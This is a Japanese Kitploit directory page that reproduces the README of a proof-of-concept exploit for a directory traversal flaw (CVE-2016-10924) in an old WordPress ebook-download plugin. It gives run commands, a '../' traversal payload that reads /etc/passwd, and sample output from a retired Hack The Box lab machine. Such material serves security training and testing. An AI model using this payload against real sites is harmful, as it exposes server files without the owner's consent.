Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2016-10924-POC — WordPressプラグイン ebook-download (バージョン < 1.2) で見つかったディレクトリトラバーサルの脆弱性 (CVE-2016-10924) のための Proof-of-Concept (PoC) エクスプロイトスクリプトです。この脆弱性により、細工されたGETリクエストを介して不正なファイル読み取りが可能になります。 | Kitploit
ツール/GitHubGitHub/alealeluyah/cve-2016-10924-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubalealeluyah/cve-2016-10924-poc

cve-2016-10924-POC

WordPressプラグイン ebook-download (バージョン < 1.2) で見つかったディレクトリトラバーサルの脆弱性 (CVE-2016-10924) のための Proof-of-Concept (PoC) エクスプロイトスクリプトです。この脆弱性により、細工されたGETリクエストを介して不正なファイル読み取りが可能になります。

リポジトリを見る
161年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2016-10924-POC

このリポジトリには、WordPressプラグイン ebook-download(バージョン < 1.2)で見つかったディレクトリトラバーサル脆弱性(CVE-2016-10924)の概念実証(PoC)エクスプロイトスクリプトが含まれています。

この脆弱性により、細工されたGETリクエストを介して認証なしにファイルを読み取ることができます。このエクスプロイトは、ebookdownloadurl というパラメータを利用して、ターゲットサーバー上のディレクトリをトラバースします。

説明

  • CVE-ID: CVE-2016-10924
  • 脆弱性の種類: ディレクトリトラバーサル
  • 影響を受けるコンポーネント: WordPress 向け ebook-download プラグイン < 1.2
  • 影響: リモートの攻撃者は、ebookdownloadurl パラメータのファイルパスを操作することで、/etc/passwd などの基盤となるオペレーティングシステム上の任意のファイルを読み取ることができます。

注記: このPoCは教育目的および許可されたテスト目的に限ります。この情報の誤用は法的な結果を招く可能性があります。

必要条件

  • Python 3
  • requests ライブラリ(pip install requests でインストール)

使い方

  1. リポジトリのクローン:
    git clone https://github.com/your-user/CVE-2016-10924-POC.git
    cd CVE-2016-10924-POC
    
  2. 依存関係のインストール:
    pip install requests
    
  3. エクスプロイトの実行:
    python3 cve-2016-10924.py "http://TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
    
  4. 読み取るファイルパスの指定: スクリプト起動後、ファイルパスの入力を求められます。例:
    ../../../../../../../../../etc/passwd
    
    ターゲット環境のウェブルートの場所に応じて、../ の数を調整する必要がある場合があります。
  5. 終了:
    • exit または quit と入力するか、空のプロンプトで Enter キーを押して終了します。
    • Ctrl + C を押すとスクリプトを即座に停止できます。

例

このエクスプロイトを、退役したHack The Boxマシン「Backdoor」で使用した例:

$ python3 cve-2016-10924.py "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
[*] Enter file paths (e.g. ../../../../../etc/passwd). Type 'exit' to quit.

Enter File path: ../../../../../../../../../etc/passwd
[*] Target URL: http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../etc/passwd
[+] Status Code: 200
[+] File Content:
root:x:0:0:root:/root:/bin/bash
...

免責事項

このプロジェクトは、教育目的および正規のセキュリティテストのみを目的としています。
このリポジトリ内の情報やスクリプトを、明示的なテスト許可がないシステムに対して使用しないでください。
作者および貢献者は、このツールの誤用やそれによって生じた損害について一切の責任を負いません。

ライセンス

このプロジェクトは GNU 2.0 License の下でライセンスされています。自由に使用・改変できますが、クレジットを記載してください。


参考文献

  • NVD - CVE-2016-10924
  • WordPress Plugin ebook-download (脆弱なバージョンの参考)
ツールをダウンロード